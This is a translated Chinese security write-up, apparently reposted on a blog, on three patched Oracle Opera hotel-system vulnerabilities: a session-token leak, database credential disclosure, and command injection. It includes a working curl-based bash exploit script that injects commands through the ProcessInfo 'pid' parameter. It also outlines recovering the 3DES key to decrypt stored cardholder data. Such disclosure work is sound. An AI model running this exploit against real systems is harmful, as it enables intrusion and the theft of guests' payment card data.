Oracle酒店管理平台远程命令执行和持卡人数据解密漏洞分析
cac55 2024-10-03 17:39 26 浏览 0 评论
翻译:ResoLutiOn
预估稿费:200RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
近期,我发现在一些大型商务酒店所使用的前台数据管理系统(Oracle Opera)中存在多个安全漏洞。黑客可利用这些漏洞,进行酒店订房App提权,以获得更高的用户使用权限;同时还能够进入酒店管理网络的后台数据库及操作系统,实施RCE攻击。攻击者利用这些漏洞,可在未经身份验证的情况下,进入Oracle Opera数据库系统,盗取酒店顾客的身份信息、电话号码等隐私数据。据悉,甲骨文公司(Oracle)已经接到了漏洞相关情况的报告,及时对漏洞进行了修复,并发布了漏洞报告,在其中详细描述了漏洞的具体情况。[报告传送门]
Oracle Opera系统简介
Oracle Opera(也称为Opera PMS,前身为Micros Opera)是由甲骨文旗下的子公司Micros为全球范围内各大商务酒店量身打造的一款酒店前台操作系统。它能为酒店管理层和员工提供全方位、系统化的管理工具,以便其能快捷高效地处理客户资料、顾客预订、入住退房、客房分配、房内设施管理以及账户账单管理等日常工作。凯悦(Hyatt)、希尔顿(Hilton)等全球知名酒店使用的均是Opera PMS操作系统。
在顾客完成费用支付的过程中,该应用程序会将顾客的银行卡的相关信息,包括:PAN码(信用卡账户编号)、失效日期、持卡人姓名等,保存在系统后台的数据库中。目前,相关安全人员已披露了3种能够进入该后台数据库的攻击方式。一旦攻击者拿到了该数据库的登录权限,他便能盗取并解密其中保存的隐私数据。
经过分析后我发现,用户数据之所以会遭到黑客窃取,问题主要出在Opera PMS系统本身,而与用户的操作无关;同时,如果仅使用黑盒测试是无法唯一确定漏洞的性质的。不同于以往的漏洞解决方案(供应商接到漏洞报告,并通过内部测试的方法修复漏洞),由于Opera PMS系统供应商向广大用户提供了详尽的解决方案,这便给黑客攻击Opera PMS系统创造了巨大的空间。攻击者很容易知晓该软件存在的缺陷,并可对其合法性进行分析测试。在经过相应的动态分析和静态分析之后,攻击者便能找到“进入”该系统数据库的最佳切入点。
漏洞详解
No.1 CVE-2016-5665:窃取系统日志文件,实施会话劫持
在用户登录Oracle Opera系统后,他们可以选择其中一个系统接口进行交互会话。启动其中接口的请求中包含了用户会话令牌、特定接口启动参数等相关信息。
这里存在一个问题,即:由于系统会将用于实现用户交互的会话令牌和其他参数放置在一个目录文件中,而黑客在未经身份验证的情况下,便能通过Web服务器访问该文件。这便是威胁所在。
而黑客所需要做的便是“守株待兔”,等待一位具有系统管理员身份的用户登录Opera。待该用户登陆成功之后,他便可通过应用程序,拿到系统的所有操作权限,对其中的数据进行任意操作。因为系统管理员具有较高的系统使用权限,能够对数据库中的数据进行查询、修改和删除等重要操作。一旦攻击者拿到了管理员权限,那么数据泄漏则无法避免。
需要说明的是,攻击者往往不会采用上述的方法来窃取用户信息,因为它速度太慢且不够“安全”,容易被识破。系统将用户提交的每一项查询语句保存于应用层。相比于使用Oracle Form提供的用户交互接口,直接与数据库服务器建立连接的方式要快得多,可以提高效率。
No.2 CVE-2016-5664:攻击者可泄漏系统数据库的凭证信息
若攻击者与数据库服务器共用一个网络,那么他便可通过构造一个数据库连接字符串的方式,盗取数据库的相关凭证。因为在Oracle Opera系统中,数据库凭证以及服务名等信息,是通过系统向服务器发送一个已经经过验证的HTML请求的方式返回的,用来启用Oracle Forms软件。攻击者在执行一个未经验证的Servlet程序时,便可获得该数据库服务器的主机名。
在拿到数据库的凭证信息后,攻击者便可通过编译简单的连接语句,利用Sql*plus(用户与oracle数据库进行交互的客户端工具),建立与数据库的连接。之后,他便能以管理员的身份登录,骗取系统的信任,对数据库进行实时监控。
No.3 CVE-2016-5663:通过系统命令注入,实施RCE攻击
在以下两种情况中,攻击者可利用该RCE漏洞:
(1)攻击者仅能获取到应用程序服务器的登录权限(例如:Internet Exposure);
(2)攻击者仅能通过应用程序服务器连接到数据库;
以上便是我在调查过程中,得出的最满意的结果。因为以上二者看似无关,但将它们结合在一起,便能揭示出攻击者的恶意企图。
在系统中含有一个判断数据传输过程正误的程序。在数据传输完成后,它将会给系统返回确认信息,例如:网络端口号(PID)等。而在黑盒测试中,PID参数是放在一个用于执行系统指令的字符串中,不容易被察觉。攻击者可按下图所示的步骤进行操作:修改该参数来执行另一个命令,并可通过web服务器将输出结果放入另一个可读取的文件中。
若一切顺利,该程序会输出结果whoami,并将其放在webtemp文件下。若运行出错,那么系统将会提示“找不到相应文件”的错误信息。
在浏览了该程序的编译代码后,我们会发现出错之处(即下图内红框标识部分)。在编译好的代码中包含了pslist工具(pslist:查看系统进程,是一个属性文件)的运行路径。该文件的存储路径经过硬编码处理,为:D:\micros\opera\operaias\default.env,但我按此路径查找后发现,该文件并不存在。
为了修改这一错误,需要进行以下两步操作:
(1)在系统中找到OPERA_HOME属性的值;
(2)将其保存到D:\micros\opera\operaias\default.env.路径下。
巧合的是,我在系统中发现了另一个诊断程序,它能够查看OPERA_HOME属性信息。如下图所示:
接着,我们便可将刚才那个Servlet程序作为RFI载体,上传至目标路径:
我利用ProcessInfo程序检查之后发现,该错误已经修改了。同时,系统给出的输出结果“whoami”也证实了该应用程序能够正常运行了。
下面的脚本程序可用于验证操作:
123456789101112131415161718 | #!/bin/bash STDOUT="D:\micros\opera\operaias\webtemp\temp.log" if [ "$#" -ne 2 ]; then echo "Usage: $0 <host> <command>" echo "E.g. : $0 http://opera.example.biz whoami" exit 1 else host="$1" cmd="$2" fi # Activate exploit. curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera" "$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" > /dev/null # Inject command. curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null curl -# -G "$host/webtemp/temp.log" # Deactivate exploit. curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null curl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null |
持卡人信息解密:
利用上述我所讲的漏洞利用过程,攻击者可拿到数据库的登录权限,从任何一个未经授权的接口进入Oracle Opera系统数据库,进而能够窃取银行卡持卡人的私密数据,并对其进行解密。
在SQL中,用于查询数据包包体(package body)的命令语句如下所示:
由于包体信息容易与其他信息混淆,因而,攻击者便可进一步检索包体的信息,或是用其来“破解”出3DES算法的密钥。
现在,算法和密钥都已经得知了,攻击者的下一步操作便是找到加密数据的存储位置。他能在Opera资料库中获得这些信息。
一项能够用于查询NAMES_CREDIT_CARD表中数据的查询语句,能够显示出用户名和其他加密的银行卡信息。同时,攻击者还可通过一个脚本程序,将加密信息解析为明文。
后记
我对甲骨文公司发布的漏洞报告感到非常满意,漏洞描述很详尽。同时,在我向甲骨文公司提交了关于PGP公钥安全漏洞报告的24小时之内,他们便给予了我回应。对此,我感到很欣慰。同时,甲骨文公司还表示,他们将会在下一次发布软件补丁更新包时,加入对CVE-2016-5663、CVE-2016-5664以及CVE-2016-5665等3个漏洞进行修复的程序。
相关推荐
- 服务器用的CPU和个人电脑用的CPU有什么区别?一篇文章告诉你!
-
服务器cpu和普通cpu的区别你的电脑CPU是‘短跑健将’,服务器CPU却是‘铁人三项选手’——它不追求瞬间爆发力,而要7×24小时扛住千军万马的数据洪流!想知道为什么企业机房敢收天价服务费?答案全藏...
- “吃鸡”新版本第1天,玩家进入游戏点击“立即更新”,后悔了!
-
欢迎诸位小伙伴们来到天哥开讲的《和平精英》“精英小课堂”~每逢两三个月,这款游戏就会迎来一次大版本迭代更新,很多朋友会在第一时间更新版本,前往全新的主题模式里一探究竟。不过也有一些老玩家并不会立刻更新...
- 中关村在线·aigo存储杯《无畏契约》全国高校争霸赛招募启事
-
以青春之名,燃电竞之火1赛事背景与宗旨在金秋送爽的9月,芊芊学子们即将回归校园生活。为了给精彩的校园生活锦上添花,由中关村在线与aigo存储联合主办的《无畏契约》全国高校争霸赛正式启幕,旨在为全国高...
- 【生肖狗】9.7-9.10提醒:人算不如天算,转变即是转机
-
九月上旬的风,带着秋意的清爽,也带着几分不可捉摸的变数。对于生肖狗的朋友们来说,9月7日到9月10日这四天,格外需要留意“计划与变化”的碰撞——你们向来习惯提前规划,做事稳妥周全...
- 转转客服IM系统的WebSocket集群架构设计和部署方案
-
本文由转转技术李帅分享,原题“转转客服IM的WebSocket集群部署方案”,下文有修订和重新排版。1、引言转转作为国内头部的二手闲置交易平台,拥有上亿的用户。用户在使用转转app遇到问题时,一般可以...
- 上线3天Steam好评率86%,《时间旅者:重生曙光》开启生存恐怖新篇章
-
这里究竟发生了什么?末日降临,真正的故事悄然启幕。目前,生存恐怖类游戏《时间旅者:重生曙光(Cronos:TheNewDawn)》已在PC(Steam、EpicGamesStore)、P...
- 什么神仙洗衣机让我一天有28小时?拆开松下「大四洗」藏了啥秘密
-
说起家庭洗衣的烦恼,想必很多人都有过类似的经历:贴身内衣要单独洗,宝宝的口水巾得小心呵护,宠物玩具怕藏污纳垢,床单被套又体积庞大,把这些东西混在一起洗担心越洗越脏,分开洗又得反复操作,洗完烘、烘完再洗...
- 爆料人挖出GTA6注册的奇葩域名 延续经典讽刺风格
-
等待《侠盗猎车手6》的日子跨越了数个春秋,在游戏圈期盼着这部可能成为史上最重磅游戏的过程中,每过一段时间就会有些许消息浮出水面。最新线索来自数据挖掘者Tez2在GTA论坛的发现,他可能偶然发现了关于...
- 跟着故事去旅行——读《驼峰间:旅行、探险与征服》
-
作者:郭冰茹《驼峰间》记录了旅行家伊本·白图泰有生之年流传的一则寓言,说一对父子被关进了监狱,有一天儿子问父亲他们每天吃的都是些什么肉,父亲说有牛、羊和骆驼,并且详细地描述了每种动物的特点。但不管父亲...
- 前端工程师需要熟悉的Linux服务器(SSH 终端操作)指令
-
在Linux服务器管理中,SSH(SecureShell)是远程操作的核心工具。以下是SSH终端操作的常用命令和技巧,涵盖连接、文件操作、系统管理等场景:一、SSH连接服务器1.基本连接...
- 跳票6年后,「丝之歌」首发把Steam服务器干爆了 | 玩点好的
-
文丨果脯樱花隧道昨天晚上22点,「鸽」了6年的《空洞骑士:丝之歌》终于上线,算是了却不少玩家的执念。毕竟,这款游戏实在让人等了太多太多年,而且曾有过多次定档后跳票的「案底」,不知道把多少人都整出了P...
- 对标魔兽失败!腾讯版“魔兽”运营一年多后,宣布国际服凉凉
-
大家好,这里是正惊游戏,我是正惊小弟。有很多游戏都想干掉《魔兽世界》,但是大部分魔兽杀手都知道自己不是魔兽的对手,不过是想蹭一下人气而已。腾讯也有一款曾经想对标魔兽的大作,可是上线才一年半国际服就宣布...
- 408 Request Timeout:服务器等待客户端发送请求的时间过长。
-
408RequestTimeout是HTTP状态码之一,表示客户端在发送请求时,服务器等待的时间过长,最终放弃了处理该请求。此问题通常与网络延迟、客户端配置、服务器设置或者应用程序的性能有关...
- 梦幻西游:9.9维护解读,全新时间服锁定129级
-
梦幻西游:9.9维护解读,全新时间服锁定129级9月9日维护解读。1、教师节活动开启,一共7天。挂机,答题,收笔墨纸砚,收海马,搞起来。或者是提前收点家具,教师节期间体力珍贵,家具会涨价。又或者是教师...
- 只是拆掉一面墙,空间就立马大变样,这种设计思路,值得学习
-
你有没有过这样的经历?刚买的房子户型图看起来方方正正,装修完却发现——玄关鞋柜只能塞在角落,进门就撞墙;餐厅正好在过道中间,吃饭像走流程;明明有四个房间,却有一个空着没用,像块食之无味的鸡肋;客餐厅之...
你 发表评论:
欢迎- 一周热门
- 最近发表
-
- 服务器用的CPU和个人电脑用的CPU有什么区别?一篇文章告诉你!
- “吃鸡”新版本第1天,玩家进入游戏点击“立即更新”,后悔了!
- 中关村在线·aigo存储杯《无畏契约》全国高校争霸赛招募启事
- 【生肖狗】9.7-9.10提醒:人算不如天算,转变即是转机
- 转转客服IM系统的WebSocket集群架构设计和部署方案
- 上线3天Steam好评率86%,《时间旅者:重生曙光》开启生存恐怖新篇章
- 什么神仙洗衣机让我一天有28小时?拆开松下「大四洗」藏了啥秘密
- 爆料人挖出GTA6注册的奇葩域名 延续经典讽刺风格
- 跟着故事去旅行——读《驼峰间:旅行、探险与征服》
- 前端工程师需要熟悉的Linux服务器(SSH 终端操作)指令
- 标签列表
-
- 如何绘制折线图 (52)
- javaabstract (48)
- 新浪微博头像 (53)
- grub4dos (66)
- s扫描器 (51)
- httpfile dll (48)
- ps实例教程 (55)
- taskmgr (51)
- s spline (61)
- vnc远程控制 (47)
- 数据丢失 (47)
- wbem (57)
- flac文件 (72)
- 网页制作基础教程 (53)
- 镜像文件刻录 (61)
- ug5 0软件免费下载 (78)
- debian下载 (53)
- ubuntu10 04 (60)
- web qq登录 (59)
- 笔记本变成无线路由 (52)
- flash player 11 4 (50)
- 右键菜单清理 (78)
- cuteftp 注册码 (57)
- ospf协议 (53)
- ms17 010 下载 (60)